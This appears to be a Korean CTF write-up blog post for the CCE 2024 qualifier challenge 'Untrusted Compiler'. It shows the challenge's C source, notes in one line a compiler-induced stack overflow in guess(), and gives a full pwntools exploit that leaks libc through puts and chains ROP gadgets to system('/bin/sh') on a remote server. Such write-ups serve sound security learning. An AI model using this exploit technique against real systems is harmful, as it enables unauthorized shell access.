CCE 2024 Qual - Untrusted Compiler

Posted on Sat 17 August 2024 in CTF

문제 분석

다음과 같은 파일이 주어진다:

// gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

uint32_t random_list[10] = {
    0,
};
uint64_t total_random = 0;

void banner() {
  printf(
      "                        __                                  _ _         "
      "  \n");
  printf(
      " _   _ _ __  ___  __ _ / _| ___    ___ ___  _ __ ___  _ __ (_) | ___ _ "
      "__ \n");
  printf(
      "| | | | '_ \\/ __|/ _` | |_ / _ \\  / __/ _ \\| '_ ` _ \\| '_ \\| | |/ "
      "_ \\ '__|\n");
  printf(
      "| |_| | | | \\__ \\ (_| |  _|  __/ | (_| (_) | | | | | | |_) | | |  __/ "
      "|   \n");
  printf(
      " \\__,_|_| |_|___/\\__,_|_|  \\___|  \\___\\___/|_| |_| |_| "
      ".__/|_|_|\\___|_|   \n");
  printf(
      "                                                     |_|                "
      "  \n\n");
}

void init() {
  srand(time(NULL));
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  banner();

  printf("Start setting 10 randoms...\n");

  for (int i = 0; i < 10; i++) {
    uint32_t random = rand();
    random_list[i] = random;
    total_random += random;
  }

  printf("done!\n\n");

  printf("Guess the random value XD\n\n");
}

void flush() {
  int c;
  while ((c = getchar()) != '\n' && c != EOF);
}

void guess() {
  uint16_t idx = 0;
  uint32_t score_list[10] = {
      0,
  };
  uint32_t input_list[10] = {
      0,
  };
  uint64_t score_sum = 0;

  while ((random_list[idx] < UINT32_MAX) && (idx < 10)) {
    printf("input %d: ", idx);
    scanf("%d", &input_list[idx]);
    flush();
    if (input_list[idx] == random_list[idx]) score_list[idx] = random_list[idx];

    score_sum += score_list[idx];
    idx++;
    if (score_sum >= total_random) {
      return;
    }
  }
}

int main() {
  init();

  guess();
}

문제만 봐서는 취약점을 찾을 수 없는데 컴파일하면 guess함수의 while문에서 BOF가 발생하는 것을 알 수 있다.

취약점

guess함수의 while문에서 bof가 발생한다.

익스플로잇

from pwn import *

# context.log_level = 'debug'

# p = process('./chall')
p = remote('52.231.138.196', 1337)
elf = ELF('./chall')
libc = ELF('./libc.so.6')

def send(val: int) -> None:
    p.sendlineafter(b': ', str(val&0xFFFFFFFF).encode())
    p.sendlineafter(b': ', str((val>>32)&0xFFFFFFFF).encode())

RET = 0x40101a
POP_RDI = 0x401444
POP_RSI_R15 = 0x401442

for i in range(0x68//8):
    send(i)

send(POP_RDI)
send(elf.got['puts'])
send(elf.plt['puts'])
send(elf.symbols['guess'])

for _ in range(3):
    send(0xFFFFFFFF)

while(True):
    l = p.recv()
    if b'input' in l[:7]:
        p.sendline(b'1')
    else:
        LIBC_BASE = u64(l[:6].ljust(8, b'\x00')) - libc.symbols['puts']
        break

log.success(f"LIBC_BASE: {hex(LIBC_BASE)}")

# gdb.attach(p, 'b *guess +199\nc')

p.send(b'0\n0\n')
for i in range(0x68//8-1):
    send(i)
send(POP_RDI)
send(LIBC_BASE + list(libc.search(b'/bin/sh\x00'))[0])
send(RET)
send(LIBC_BASE + libc.symbols['system'])
for _ in range(3):
    send(0xFFFFFFFF)

for _ in range(20):
    p.sendline(b'1')

p.interactive()